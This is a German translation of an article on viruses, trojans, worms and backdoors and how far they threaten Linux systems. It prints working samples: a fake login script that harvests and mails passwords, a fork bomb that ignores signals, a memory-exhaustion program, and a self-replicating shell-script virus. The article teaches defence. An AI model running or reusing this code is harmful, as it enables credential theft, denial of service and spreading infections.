Viren: sie gehen uns alle an

by Christophe Blaess
(homepage)

About the author:

Christophe Blaess ist selbständiger Aeronautik−Ingenieur. Er ist Linuxfan und erledigt einen großen Teil seiner Arbeit auf diesem System. Er koordiniert die Übersetzung der Man−Seiten, die vom *Linux Documentation Project* herausgegeben werden.

Abstract:

Dieser Artikel ist zuerst in einer Linux Magazine France Spezialausgabe mit Schwerpunkt Sicherheit erschienen. Der Editor, die Autoren und die Übersetzer erlaubten LinuxFocus netter Weise, jeden Artikel dieser Spezialausgabe veröffentlichen zu dürfen. Deshalb wird LinuxFocus sie euch bringen, sobald sie ins Englische übersetzt sind. Dank an alle an dieser Arbeit beteiligten Leute. Dieser Absatz wird für jeden Artikel mit gleichem Ursprung wiederholt werden.

Translated to English by:
Georges Tarbouriech
<georges.t(at)linuxfocus.org>

Präambel

Dieser Artikel betrachtet interne Sicherheitsprobleme, die auf Linuxsystemen wegen aggressiver Software vorkommen können. Solche Software kann ohne menschliches Dazutun Schaden anrichten: Viren, Würmer, Trojanischc Pferde etc. Wir werden tief auf die verschiedenen Verwundbarkeiten eingehen und auf die Vor− und Nachteile von freier Software in dieser Beziehung bestehen.

Einführung

Es gibt hauptsächlich vier Typen von verschiedenen Bedrohungen, was für den Benutzer verwirrend sein kann, besonders da es oft vorkommt, daß ein Angriff von mehreren Mechanismen abhängt:

- *Viren* reproduzieren sich selbst und infizieren den Körper der host Programme;
- *Trojanische Pferde* führen Aufgaben durch und verstecken sich selbst in harmlos aussehenden Anwendungen;

- *Würmer* ziehen Vorteile aus Computernetzwerken, um sich selbst zu propagieren, benutzen z.B. Email ;
- *Hintertüren (Backdoors)* erlauben einem externen Benutzer durch Benutzung indirekter Methoden die Kontrolle über eine Applikation zu übernehmen.

Sie zu klassifizieren ist nicht immer so leicht, z.B. gibt es Programme, die von einigen Beobachtern als Viren betrachtet werden und von anderen als Würmer, was eine abschließende Entscheidung recht kompliziert macht. Dies ist nicht sehr wichtig, wenn man die Reichweite dieses Artikels betrachtet, der klarstellen soll, welche Gefahren ein Linuxsystem bedrohen.

Entgegen allgemeinem Glauben existieren diese vier Plagen bereits unter Linux. Natürlich finden Viren eine weniger vorteilhafte Umgebung, um sich zu vermehren als z.B. unter DOS, aber die gegenwärtige Gefahr sollte nicht vernachlässigt werden. Laßt uns analysieren, was die Risiken sind.

Die potentiellen Gefahren

Viren

Ein Virus ist ein Stück Code, der in das Herz eines host Programms installiert ist und in der Lage ist, sich selbst zu duplizieren durch Infizieren einer neuen ausführbaren Datei. Viren wurden in den siebziger Jahren geboren, als die Programmierer dieser Zeit ein Spiel namens "*core war*"spielten. Dieses Spiel kommt von den Bell AT&T laboratories [MARSDEN 00]. Das Ziel des Spiels war es, parallel, innerhalb eines begrenzten Memorybereichs kleine Programme laufen zu lassen, die sich gegenseitig zerstören konnten. Das Betriebssystem enthielt keinen Schutz zwischen den Memorybereichen der Programme und erlaubte auf diese Weise eine allmähliche Aggression mit dem Ziel, den Wettbewerber auszuschalten. Um dies zu erreichen, "bombardierten" einige den größtmöglichen Memorybereich mit '0', während andere sich permanent im Adressraum bewegten in der Hoffnung, dadurch den Code des Widersachers zu überschreiben und manchmal kooperierten sich einige von ihnen, um einen schwierigen "Feind" auszuschalten.

Die implementierten Algorithmen für das Spiel wurden in eine Assemblersprache, die speziell hierfür erschaffen worden war, übersetzt, den "*red code*", der durch einen Emulator, der auf den meisten existierenden Maschinen verfügbar war, ausgeführt wurde. Das Spielinteresse war mehr wissenschaftliche Neugier, wie z.B. die Begeisterung gegenüber dem Life of Conway Game, den Fraktalen, genetischen Algorithmen, etc.

Jedoch, folgt man Artikeln, die den *core war* betreffen, veröffentlicht in *Scientific American* [DEWDNEY 84], dann mußte das Unvermeidbare passieren und einige Leute begannen Stücke von selbstwiederholendem Code speziell für den Bootsektor von Disketten oder ausführbaren Dateien zu schreiben, zuerst auf Apple Computern und dann auf MacIntosh und PCs.

Das MS DOS Betriebssystem war die Wunschumgebung für die Vermehrung von Viren: statische ausführbare Dateien mit einem gut bekannten Format, kein Memoryschutz, keine Sicherheit für Dateizugriffsrechte, weite Nutzung von *TSR* resistenten Programmen aufgestapelt im Speicher, etc. Dazu kommt der Erfahrungsstand der Benutzer, die wild Programme auf Disketten austauschten, ohne sich um den Ursprung der Dateien zu kümmern.

In seiner einfachsten Form ist ein Virus ein kleines Stück Code, das als ein Extra ausgeführt wird, wenn eine Applikation gestartet wird. Er nutzt seine Rechenzeit, um nach anderen ausführbaren Dateien, die noch nicht infiziert sind, Ausschau zu halten, nistet sich dort ein (vorzugsweise bleibt das ursprüngliche Programm zur größeren Diskretion unverändert) und beendet sich. Beim Start der neuen ausführbaren Datei startet der Prozeß erneut.

Viren können von einer großen Menge an "Waffen" profitieren, um sich selbst zu vermehren. In [LUDWIG 91] und [LUDWIG 93] gibt es eine detaillierte Beschreibung von Viren für DOS, unter Benutzung von hochentwickelten Methoden. Methoden, um sich zu verstecken, um von aktuellen Antivirensoftware nicht erkannt zu werden: Zufallsverschlüsselung, permanentes Verändern von Code, etc. Es ist sogar möglich, Viren zu treffen, die genetische Algorithmen benutzen, um ihre Überlebens− und Reproduktionsmöglichkeiten zu optimieren. Ähnliche Informationen können in einem sehr berühmten Artikel gefunden werden: [SPAFFORD 94].

Aber wir müssen im Kopf behalten, daß über das Thema von Experimenten mit künstlichem Leben in Form des Computervirus großen Schaden anrichten kann. Das Prinzip der mehrfachen Wiederholung eines Stückes Code ist nur eine Verschwendung von Platz (Platten und Speicher), aber Viren werden benutzt als ein Transportmittel für andere, viel ungefälligere Dinge: die *logischen Bomben (logical bombs)*, die wir auch wieder in Trojanischen Pferden wiederfinden.

Trojanische Pferde und logische Bomben

Timeo Danaos et dona ferentes − Ich fürchte die Griechen, auch wenn sie ein Geschenk machen. (Virgile, the *Aeneid*, II, 49).

Die belagerten Trojaner hatten die dumme Idee, eine große hölzerne Statue, die ein Pferd darstellte, in ihre Stadt zu lassen, die von den griechischen Angreifern als religiöse Gabe zurückgelassen worden war. Das trojanische Pferd verbarg in seiner Seite ein echtes Kommando, dessen Mitglieder, einmal eingedrungen, den Schutz der der Nacht nutzten, um die Stadt von innen anzugreifen und ermöglichten auf diese Weise den Griechen, den Trojanischen Krieg zu gewinnen.

Der berühmte Term "Trojanisches Pferd" wird oft im Computersicherheitsfeld benutzt, um eine a priori harmlose Applikation zu bestimmen, wie die oben erwähnten Viren, die einen zerstörerischen Code, genannt *logische Bombe*, verbreitet.

Eine logische Bombe ist ein Programmteil, der absichtlich schädigend ist und sehr verschiedene Wirkungen hat:

- hohe Verschwendung von Systemressourcen (Speicher, Festplatte, CPU, etc.);
- schnelle Zerstörung von so vielen Dateien wie möglich (sie überschreiben sie, um zu verhindern, daß die Benutzer ihren Inhalt zurückbekommen);
- hinterhältige Zerstörung einer Datei von Zeit zu Zeit, um solange wie möglich versteckt zu bleiben;
- Angriff auf die Systemsicherheit (Implementierung zu weicher Zugriffsrechte, Senden der Paßwortdatei an eine Internetadresse etc.);
- Benutzung des Rechners für Computerterrorismus, so wie DDoS (*Distributed Denial of Service*) wie in dem bereits berühmten Artikel erwähnt [GIBSON 01];
- Liste von Lizenznummern, die die Applikationen auf der Platte betreffen und sie an den Softwareentwickler schicken.

In einigen Fällen kann die logische Bombe für ein spezielles Zielsystem geschrieben sein, auf dem es versuchen wird, vertrauliche Daten zu stehlen, besondere Dateien zu zerstören oder einen Benutzer in Mißkredit zu bringen durch Annehmen seiner Identität. Dieselbe Bombe ist auf einem anderen System ausgeführt, harmlos.

Die logische Bombe kann auch versuchen, das System, in dem sie liegt, physisch zu zerstören. Diese Möglichkeiten sind eher begrenzt, aber sie existieren (Löschen des CMOS Memory, Änderung im modem

flash memory, zerstörerische Bewegungen auf Drucker–, Plotter–, Scannerköpfen, beschleunigte Bewegung beim Lesen von Festplattenköpfen...)

Um mit der "explosiven" Metapher weiterzumachen, kann man sagen, daß eine logische Bombe einen Detonator braucht, um aktiviert zu werden. Es ist eine Tatsache, daß das Laufenlassen zerstörerischer Aktionen von einem Trojanischen Pferd oder Virus beim ersten Start eine schlechte Taktik ist, was die Effizienz angeht. Nach der Installation der logischen Bombe ist es für sie besser, zu warten, bevor sie explodiert. Dies erhöht die "Chancen", andere Systeme zu erreichen, wenn es um Virenübertragung geht und wenn es um Trojanishce Pferde geht, hält es den Benutzer davon ab, zu leicht die Verbindung zwischen der neuen Anwendungsinstallation und dem merkwürdigen Verhalten dieser Maschine zu ziehen.

Wie bei jeder schädliche Aktion, kann der Auslösemechanismus variieren: zehn Tage Verzögerung nach der Installation, Entfernen eines gegebenen Benutzeraccounts (Kündigung), Tastatur und Maus inaktiv für 30 Minuten, hohe Auslastung in der Druckerwarteschlange... es gibt keinen Mangel an Möglichkeiten! Die berühmtesten Trojanischen Pferde sind die Bildschirmschoner, auch wenn sie heute ein bißchen abgedroschen sind. Hinter einem attraktiven Aussehen sind diese Programme in der Lage, Schaden anzurichten, ohne gestört zu werden, besonders, wenn die logische Bombe erst nach einer Stunde aktiviert wird, was beinahe sicherstellt, daß der Benutzer nicht mehr vor seinem Rechner ist.

Ein weiteres berühmtes Beispiel eines Trojanischen Pferdes ist das folgende Skript, das einen login/password Bildschirm anzeigt, der die Informationen an die Person, die es gestartet hat, sendet und sich beendet. Wenn es auf einem unbenutzten Terminal läuft, erlaubt dieses Skript das Einfangen des Paßwortes des nächsten Benutzers, der versucht, sich einzuloggen.

```
#! /bin/sh

clear
cat /etc/issue
echo -n "login: "
read login
echo -n "Password: "
stty -echo
read passwd
stty sane
mail $USER <<- fin
        login: $login
        passwd: $passwd
fin
echo "Login incorrect"
sleep 1
logout
```

Um die Verbindung zu beenden, wenn es fertig ist, muß es mit dem `exec` shell Befehl gestartet werden. Das Opfer denkt, es hat einen Tippfehler gemacht, wenn es die "*Login incorrect*" Meldung sieht und loggt sich nochmal auf dem normalen Weg ein. Weiter fortgeschrittene Versionen sind in der Lage, den X11 Einlogdialog zu simulieren. Um diese Art von Falle zu vermeiden, ist es gut, zuerst ein falsches login/password zu benutzen, wenn man an ein Terminal kommt (dies ist ein Reflex, den man leicht und schnell lernt).

Würmer

Und Paul fand sich auf dem Wurm, frohlockend, wie ein Kaiser, der das Universum beherrscht. (F. Herbert "*Dune*")

"*Würmer*" stammen aus demselben Prinzip wie Viren. Sie sind Programme, die versuchen, sich zu vermehren, um die maximale Verbreitung zu erreichen. Auch wenn es nicht ihr Hauptfeature ist, können auch sie logische Bomben mit einem verzögerten Auslöser enthalten. Die Unterscheidung zwischen Würmern und Viren rührt aus der Tatsache, daß Würmer kein host Programm als Transportmittel benutzen, sondern stattdessen versuchen sie von den Fähigkeiten, die von Netzwerken bereitgestellt werden, Nutzen zu ziehen, wie Email, um sich von Maschine zu Maschine zu verbreiten.

Würmern sind technische anspruchvoller als Viren, sie nutzen die Verwundbarkeiten von Software, die von Netzwerkdiensten bereitgestellt werden, um ihre Selbstduplizierung auf einer entfernten Maschine zu erzwingen. Geschichte gemacht hat 1988 der "*Internet Worm*".

Der *Internet Worm* ist ein Beispiel eines reinen Wurms, der keine logische Bombe enthielt, trotzdem war seine unfreiwillige zerstörerische Wirkung beängstigend. Man kann eine kurze, aber genaue Beschreibung in [KEHOE 92] finden oder eine detaillierte Analyse in [SPAFFORD 88] oder [EICHIN 89]. Es gibt auch eine weniger technische, aber aufregendere Erklärung in [STOLL 89] (die der *Cuckoo Egg* Saga folgt), wo die Raserei der Teams, die diesen Wurm bekämpften nach der Panik der Administratoren, deren Systeme betroffen waren, kam.

Kurz, dieser Wurm war ein Programm, das von Robert Morris Jr, Student an der Cornell Universität, bereits bekannt durch einen Artikel über Sicherheitsprobleme in Netzwerkprotokollen [MORRIS 85] geschrieben wurde. Er war der Sohn von einem Mann, der die Verantwortung für die Computersicherheit der NCSC, einem Zweig der NSA, trug. Das Programm wurde am späten Nachmittag des 2.November 1988 gestartet und stoppte die meisten Systeme, die mit dem Internet verbunden waren. Es lief in mehreren Schritten:

1. War ein Computer einmal infiltriert, versuchte der Wurm sich im Netzwerk zu verbreiten. Um Adressen zu bekommen, las er Systemdateien und rief utilities wie `netstat`, das Informationen über Netzwerkschnittstellen liefert, auf.
2. Als nächstes versuchte es, in Benutzeraccounts zu kommen. Hierfür verglich es den Inhalt eines Wörterbuchs mit der Paßwortdatei. Auch probierte er Kombinationen des Benutzernamens (rückwärts, wiederholt etc.) aus, um an das Paßwort zu gelangen. Dieser Schritt hing von der ersten Verwundbarkeit ab: verschlüsselte Paßwörter in einer lesbaren Datei (`/etc/passwd`), und profitierte so von der schlechten Auswahl einiger Benutzerpaßwörter. Diese erste Verwundbarkeit wurde inzwischen durch die Benutzung von *shadow passwords* gelöst.
3. Wenn es erfolgreich war im Eindringen in die Benutzeraccounts, versuchte der Wurm Maschinen zu finden, die direkten Zugriff ohne Identifikation lieferten, d.h. `~/.rhost`, und `/etc/hosts.equiv` Dateien benutzten. In diesem Fall benutzte es `rsh`, um Anweisungen auf der entfernten Maschine auszuführen. Auf diese Weise war es in der Lage, sich selbst auf den neuen Host zu kopieren und der Zyklus startete von neuem.
4. Ansonsten wurde eine zweite Verwundbarkeit benutzt, um in eine andere Maschine zu gelangen: `fingerd` buffer overflow exploit. (Siehe unsere Serie über sicheres Programmieren : Vermeiden von Sicherheitslöchern beim Entwickeln einer Applikation – Teil 1, Vermeiden von Sicherheitslöchern beim Entwickeln einer Applikation – Teil 2: memory, stack und Funktionen, shellcode, Vermeiden von Sicherheitslöchern beim Entwickeln einer Applikation – Teil 3: buffer overflows.)
   Dieser Bug erlaubte das Ausführen von Code. Dann war der Wurm in der Lage, sich selbst auf das neue System zu kopieren und erneut zu starten. Tatsächlich lief dies nur auf einigen Prozessortypen.
5. Zuletzt wurde eine dritte Verwundbarkeit genutzt: eine Debugeroption, per default innerhalb des `sendmail` daemon aktiviert, erlaubte es Mail zur Standardeingabe des Programms, gekennzeichnet als Ziel, zu übermitteln. Diese Option sollte niemals auf Produktionsmaschinen aktiviert sein, aber leider ignorierten die meisten Administratoren ihre Existenz.

Zu beachten ist, daß das Verfahren Anweisungen auf einer anderen Maschine auszuführen eher komplex war. Es erforderte die Übertragung eines kleinen C Programms, das dort rekompiliert und gestartet wurde. Dann

baute es eine TCP/IP Verbindung zu dem gestarteten Computer auf und bekam alle Wurmbinaries zurück. Diese letzten, vorkompiliert, existierten für mehrere Architekturen (Vax und Sun), und wurden eine nach der anderen getestet. Außerdem war der Wurm sehr clever beim Verstecken. Er versuchte kaum Spuren zu hinterlassen.

Leider funktionierte der Mechanismus, der Verhindern sollte, daß ein Computer mehrere Mal infiziert wurde nicht wie erwartet und der schädliche Aspekt von *Internet 88* worm, der keine logische Bombe enthielt, zeigte sich in einer großen Überlastung der betroffenen Systeme (besonders durch ein Blockieren von Email, was eine Verzögerung beim Austausch von Lösungen zwischen den Systemadministratoren verursachte).

Der Autor des Wurms wanderte für einige Zeit ins Gefängnis.

Würmer sind relativ selten wegen ihrer Komplexität. Sie dürfen nicht mit einem anderen Gafahrentyp verwechselt werden, der Viren als Attachments zu Emails überträgt so wie der berühmte "*ILoveYou*". Diese sind sehr einfach, da es Macros sind, die (in Basic) für Office−Programme geschreiben wurden, die automatisch gestartet werden, wenn die Email gelesen wird. Dies läuft nur auf einigen Betriebssystemen, wenn das Emailprogramm auf zu simple Weise konfiguriert wurde. Diese Programme sind vergleichbar mit Trojanischen Pferden, da sie eine Aktion des Benutzers erfordern, um gestartet zu werden.

Hintertüren (Backdoors)

Hintertüren können mit Trojanischen Pferden verglichen werden, aber sie sind nicht identisch. Eine Hintertür erlaubt einem ("fortgeschrittenen") Bentuzer, die Software zu manipluieren. Sie können mit den Betrügercodes verglichen werden, die in Spielen benutzt werden, um mehr Ressourcen zu bekommen, einen höheren Level zu erreichen etc. Aber dies gilt auch für kritische Applikationen wie Authentifizierung oder Email, da sie versteckten Zugang mit einem Paßwort, das nur dem Softwareerzeuger bekannt ist, bieten können.

Programmierer, die die Debuggingphase erleichtern wollen, lassen oft eine kleine Tür offen, um die Software benutzen zu können, ohne durch den Autentifikationsmechaismus gehen zu müssen, selbst wenn die Applikation auf der Kundenseite installiert ist. Manchaml sind es offizielle Zugangsmechanismen, die Standardpaßwörter benutzen(`system`, `admin`, `superuser`, etc), aber nicht gut dokumentiert sind, was Adminsiratoren dazu führt, sie aktiviert zu lassen.

Erinnere dich an die verschiedenen versteckten Zugänge, die es erlaubten, mit dem System in dem Film "*Wargame*" zu kommunizieren, aber man kann auch frühere Berichte über solche Praktiken finden. In einem ungluablichen Artikel [THOMPSON 84], beschreibt Ken Thompson, einer der Unixväter, einen versteckten Zugang, den er vor Jahren auf Unixsystemen implementierte:

- Er hatte die `/bin/login` Applikation so geändert, daß sie ein Stück Code enthielt, das direkten ZUgang zu dem System leiferte durch das Tippen eines vorkompileriten Paßworts (ohne `/etc/passwd` zu prüfen). Auf diese Weise konnte Thompson jedes System besuchen, daß diese `login` Version benutzte.
- Jedoch waren zu dieser Zeit die Quellen der Applikationen verfügbar (wie heute für freie Software). Dann war der `login.c` Quellcode präsent in den Unixsystemen und jeder hätte den gefälschten code lesen können. Demgemäß lieferte Thompson einen sauberen `login.c` ohne die Zugangstür.
- Das Poblem war, daß jeder Administrator in der Lage war, `login.c` zu rekompileiren und auf diese Weise die Falltürversion zu entfernen. Dann veränderte Thompson den Standard C Compiler, um ihn in die Lage zu versetzen, die Hintertür hinzuzufügen, wenn es bemerkte, daß jemand versuchtee `login.c` zu kompilieren.

- Aber wiederum war der Kompiliercode `cc.c` verfügbar und jeder hätte ihn lesen oder den Kompiler rekompilerien können. Demgemäß lieferte Thompson einen sauberen Kompileirerquellcode, aber die binary Datei, die schon bearbeitet war, war inder Lage, ihre eigenen Quelldateien zu identifizieren, die dann den Code enthielt, der benutzt wurde, um `login.c` zu infizieren...

Was kann man dagegen tun ? Nun, nichts! Der einzige Weg wäre, mit einem brandneuen System zu starten. Außer wenn man seine Maschine von Anfang an selbst erzeugt mit dem gesamten Microcode, dem Betriebssystem, den Compilern, den Utilities, kann man nicht sicher sein, daß jede Applikation sauber ist, auch wenn der Quellcode verfügbar ist.

Und, was ist mit Linux ?

Wir haben die Hauptrisiken für jedes System dargestellt. Laßt uns jetzt die Gefahren, die freie Software und Linux betreffen, anschauen.

Logische Bomben

Laßt uns zuerst die Schäden anschauen, die eine logische Bombe verursachen kann, wenn sie auf einer Linuxksite ausgeführt wird. Natrülich variiert dies abhängig von der gewünschten Wirkung und den Privilegien der Benutzeridentität, die es startet.

Soweit Systemdateizerstörung oder das Lesen von vertraulichen Daten betroffen ist, können wir zwei Fälle haben. Wenn die Bombe sich unter der *root* Identität ausführt, hat es die gesamte Macht über die Maschine, einschließlich der Löschung jeder Partition und die eventuellen Gefahren für die Hardware, die oben erwähnt wurden. Wenn es unter einer anderen Identität gestartet wird, kann es nicht zerstörerischer sein als ein Benutzer ohne Privilegien sein kann. Es zerstört nur Daten, die zu diesem Bentuzer gehören. In diesem Fall ist jeder für seine eigenen Dateien verantwortlich. Ein gewissenhafter Systemadministrator macht nur wenige Dinge während er als *root* eingeloggt ist, was die Wahrschienlichkeit, eine logische Bombe unter diesem Account zu starten, reduziert.

Das Linuxsystem ist eher gut beim Schutz von privaten Daten und Hardwarezugang, es ist aber empfindsam für Attacken, die darauf abzielen, es lahmzulegen durch Benutzen vieler Ressourcen. Zum Beispiel ist das folgende C Programm schwer zu stoppen, auch wenn es als normaler Benutzer gestartet wurde, da, wenn die Anzahl der Prozesse per Benutzer nicht begrenzt ist, es jeden vefügbaren Eintrag aus der Prozessortabelle benutzt und jede Verbindung verhindert, die versucht, es zu töten:

```
  #include <signal.h>
  #include <unistd.h>

int main (void)
{
  int i;
  for (i = 0; i < NSIG; i ++)
    signal (i, SIG_IGN);
  while (1)
    fork ();
}
```

Die Begrenzungen, die man für Benutzer (mit dem `setrlimit()` Systemaufruf und der Shellfunktion `ulimit` function) setzen kann, erlaubt es, das Leben eines solchen Programms zu verkürzen, aber sie wirken

erst nach einiger Zeit, während der das System nicht erreichbar ist.

In derselben Verbindung benutzt ein Programm wie das folgende allen verfügbaren Speicher und läuft in einer Schleife, wobei es die CPU Zyklen auffrißt, so daß es für die anderen Prozesse sehr störend ist:

```
  #include <stdlib.h>

  #define LG      1024

int main (void) {
  char * buffer;
  while ((buffer = malloc (LG)) != NULL)
     memset (buffer, 0, LG);
  while (1)
    ;
}
```

Normalerweise wird dieses Programm automatisch von den virtuellen Speicherverwaltungsmechanismen der neuesten Kernelversionen getötet. Aber davor kann der Kernel andere Applikationen töten, die viel Speicher erfordern (X11 Applikationen zum Beispiel). Außerdem bekommen alle anderen Prozesse, die Speicher benötigen, diesen nicht, was oft zu ihrer Beendigung führt.

Netzwerkfeatures durcheinanderzubringen ist auch eher einfach durch Überladen der korrespondierenden Ports mit kontinuierlichen Verbindungsanfragen. Lösungen zur Vermeidung existieren, aber sie sind nicht immer von den Adminsitratoren implementiert. Wir können für Linux sagen, daß, auch wenn eine logische Bombe, die von einem normalen Benutzer gestartet wird, system Dateien, die ihm nicht gehören, nicht zerstören kann, sie trotzdem sehr störend sein kann. Es reicht, ein paar wenige `fork()`, `malloc()` und `connect()` zu kombinieren, um das System und die Netzwerkdienste stark zu belasten.

Viren

```
Subject: Unix Virus

YOU RECEIVED AN UNIX VIRUS

This virus works according to a cooperative principle:

If you use Linux or Unix, please forward this mail to your
friends and randomly destroy a few files of your system.
```

Trotz einer weitverbreiteten Meinung, können Viren unter Linux eine Bedrohung sein. Mehrere existieren. Was stimmt, ist, daß ein Virus unter Linux keinen Nährboden zur Verbreitung findet. Laßt uns zunächst die Phase der Infizierung eines Rechners betrachten. Der Virencode muß dort ausgeführt werden. Dies bedeutet, eine korrupte ausführbare Datei wurde von einem anderen System kopiert. In der Linuxwelt ist die übliche Praxis jemandem eine Applikation zu schicken, ihm einen URL zu geben, wo er die Software finden kann, statt ihm ausführbare Dateien zu schicken. Dies bedeutet, daß der Virus von einer offiziellen Seite kommt, wo er schnell entdeckt wird. Ist eine Maschine einmal infiziert, sollet sie, um sie in die Lage zu versetzen, den Virus zu verbreiten, als Verteilungsplattform für vorkompilierte Applikationen benutzt werden, was eher selten vorkommt. Daher ist eine ausführbare Datei kein gutes Transportmedium für eine logische Bombe in der Welt freier Software.

Was die Verbreitung innerhalb einer Maschine angeht, so kann sich die korrupte Applikation natürlich nur zu Dateien verbreiten, für die der Benutzer, der sie laufen hat, Schreibrechte besitzt. Der weise Administrator, der nur als *root* arbeitet bei Operationen, die wirklich Privilegien erfordern, wird wahrscheinlich eine neue

Software nicht laufen lassen, wenn er unter dieser Identität eingeloggt ist. Außer von der Installation einer *Set−UID root* Applikation, die mit einem Virus infiziert ist, ist das Risiko dann recht reduziert. Wenn ein normaler Benutzer ein infiziertes Programm laufen läßt, wird der Virus nur auf den Dateien, die dem Benutzer gehören, handeln, was eine Verbreitung zu den Systemutilities verhindert.

Wenn Viren lange Zeit unter Unix eine Utopie dargestellt haben, dann liegt das auch an der Vielfalt an Prozessoren (Assemblersprachen) und Bibliotheken (Objektreferenzen), die die Reichweite für vorkompilierten Code begrenzten. Heute stimmt das nicht mehr so und ein Virus, der für LINUX ELF Dateien kompiliert ist mit i386 Prozessor GlibC 2.1, würde eine Menge Ziele finden. Außderdem könnte ein Virus in einer Sprache geschreiben werden, die nicht von dem Host, der ihn ausführt, abhängig ist. Zum Beispiel ist hier ein Virus für Shellskripte. Es versucht, in jedes gefundene Shellskript in dem Verzeichnis, in dem es gestartet wurde, zu gelangen. Um zu vermeiden, daß dasselbe Skript mehr als einmal infiziert wird, ignoriert der Virus die Dateien, in denen die zweite Zeile mit den Kommentar "infected" (infiziert) oder "vaccinated" (geimpft) ist.

```
#! /bin/sh
# infected

( tmp_fic=/tmp/$$
candidates=$(find . -type f -uid $UID -perm -0755)
for fic in $candidates ; do
  exec < $fic
  # Let's try to read a first line,
  if  ! read line ; then
          continue
  fi
  # and let's check it is a shell script.
  if [ "$line" != "#!/bin/sh" ]&&[ "$line" != "#! /bin/sh" ];then
          continue
  fi
  # Let's read a second line.
  if ! read line ; then
          continue
  fi
  # Is the file already infected or vaccinated ?
  if [ "$line" == "# vaccinated" ]||[ "$line" == "# infected" ];then
          continue
  fi
  # Otherwise we infect it: copy the virus body,
  head -33 $0 > $tmp_fic
  # and the original file.
  cat $fic >> $tmp_fic
  # Overwrite the original file.
  cat $tmp_fic > $fic
done
 rm -f $tmp_fic
) 2>/dev/null &
```

Der Virus kümmert sich nicht darum, sich oder seine Aktionen zu verstecken, außer daß er sich im Hintergrund ausführt, während er das Originalskript seinen normalen Job tut. Natürlich läßt man dieses Programm nicht als *root* laufen! Besonders, wenn man `find .` durch `find /` ersetzt. Trotz der Einfachheit dieses Programms, ist es ganz einfach, seine Kontrolle zu verlieren, besonders, wenn das System viele angepaßte Shellskripte enthält.

Tabelle 1 enthält Informationen über gut bekannte Viren unter Linux. Alle von ihnen infizierten ELF Dateien, durch Einfügen ihres Codes nach dem Dateiheader und zurückschieben des Rests des Originalcodes. Wenn nichts anderes gesagt wird, suchen sie potentielle Ziele in den Systemverzeichnissen. Aus dieser Tabelle kannst du ersehen, daß Viren unter Linux keine Annekdoten sind, wenn auch nicht zu alarmierend, meistens

weil bisher die Viren harmlos sind.

Tabelle 1 – Viren unter Linux

Name	*Logische Bomben*	*Bemerkungen*
Bliss	scheinbar inaktiv	automatische Desinfektio der ausführbaren Datei, wenn es mit der Option `--bliss-disinfect-files-please` aufgerufen wird
Diesel	keine	
Kagob	keine	benutzt eine temporäre Datei, um das infizierte Originalprogramm auszuführen
Satyr	keine	
Vit4096	keine	infiziert nur Dateien im aktuellen Verzeichnis.
Winter	keine	Der Virsucode ist 341 bytes. Infiziert nur Dateien im aktuellen Verzeichnis.
Winux	keine	Der Virus enthält zwei verschiedene Codes und kann sowohl Windows Dateien als auch Elf Linux Dateien infizieren. Er ist jedoch nicht in der Lage, andere Partitionen zu erkunden als die, wo er gespeichert ist, was die Verbreitung verringert.
ZipWorm	fügt einen "troll" text über Linux und Windows in die Zipdateien, die er findet, ein. ("troll"= eine Art Gnom in der schwedischen Mythologie)	

Du wirst bemerken, daß der "Winux" Virus in der Lage ist, sich unter Windows oder auch Linux zu verbreiten. Es ist ein harmloser Virus und eher ein Beweis von Möglichkeiten als eine wirkliche Gefahr. Jedoch läuft einem ein Schauer über den Nacken, wenn man sich vorstellt, daß solch ein Endringling von einer Partition zur anderen springen könnte, einfallen in heterogene Newtzwerke durch Benutzen von Sambaservern etc. Entfernen wäre schwer, da die erforderlichen Werkzeuge für beide Systeme auf einmal verfügbar sein müßten. Es ist wichtig zu bemerken, daß der Schutzmechanismus von Linux, die einen Virus, der unter einer normalen Benutzeridentität läuft, daran hindern, Systemdateien zu infizieren, nicht mehr verfügbar ist, wenn auf die Partition von einem Virus zugegriffen wird, der unter Windows läuft.

Laßt uns auf diesem Punkt bestehen: jede Vorsicht der Administration, die man unter Linux trifft, wird unwirksam, wenn man seine Maschine von einer Windowspartition rebootet, die einen eventuellen multi–platform Virus "beherbergt". Es ist ein Problem für jede Maxchine, die *dual–boot* mit zwei Betriebssystemen benutzt; der allgemeine Schutz des ganzen hängt von den Sicherheitsmechanismen des schwächsten Systems ab! Die einzige Lösung ist, den Zugriff auf Linuxpartitionen von jeder Windowsapplikation zu verhindern durch Benutzen eines verschlüsselten Dateisystems. Dies ist bisher noch nicht weit verbreitet und wir können wetten, daß Viren, die ungemountete Partitionen attakieren, bald eine bedeutende Gefahr für Linuxmaschinen darstellen werden.

Trojanische Pferde

Trojanisch Pferde sind so angsteinflössend wie Viren und die Leute scheinen sich ihrer mehr bewußt zu sein. Anders als eine logische Bombe, die von einem Virus transportiert wird, wurde diejenige, die in einem Trojanischen Pferd gefunden wird, absichtlich von jemandem eingefügt. In der freien Softwarewelt ist die Reichweite vom Autor eines Stück Codes bis zum schließlichen Benutzer auf ein oder zwei Zwischenstufen (Personen) begrenzt (laßt uns sagen, jemand, der für das Projekt verantwortlich ist und jemand, der die Distribution erstellt und verschickt). Wenn ein Trojanisches Pferd entdeckt wird, ist es leicht, den "Schuldigen" zu finden.

Die freie Softwarewelt ist dadurch eher gut geschützt gegen Trojansiche Pferde. Aber wir reden hier von freier Software wie wir sie heute kennen, mit verwalteten Projekten, empfänglichen Entwicklern und Webseiten von Referenz. Dies ist weit entfernt von Shareware oder Freeware, die nur vorkompiliert zur Verfügung steht und in einer anarchischen Weise von hunderten von Webseiten (oder CDs, ie mit Magazinen mitgeliefert werden) verteilt werden, wo der Autor nur durch eine Emailadresse bekannt ist, die leicht gefälscht werden kann; dies ist ein wahrer Pferdestall von Trojansichen Pferden.

Laßt uns bemerken, daß die Tatsache, den Quellcode einer Applikation zu haben und zu kompileiren, keine Garantie für Sicherheit ist. Zum Beispel kann eine schädliche logische Bombe in einem "`configure`" Skript (das, das während "`./configure; make`" aufgerufen wird) versteckt werden, was normlaerwesie an die 2000 Zeilen lang ist! Zuletzt, der Quellcode einer Applikation ist sauber und kompileirt; dies hindert nicht das `Makefile` vom Verstecken einer logischen Bombe, die sich selbst während des letzten "`make install`" aktiviert, was normalerweise als *root* gemacht wird!

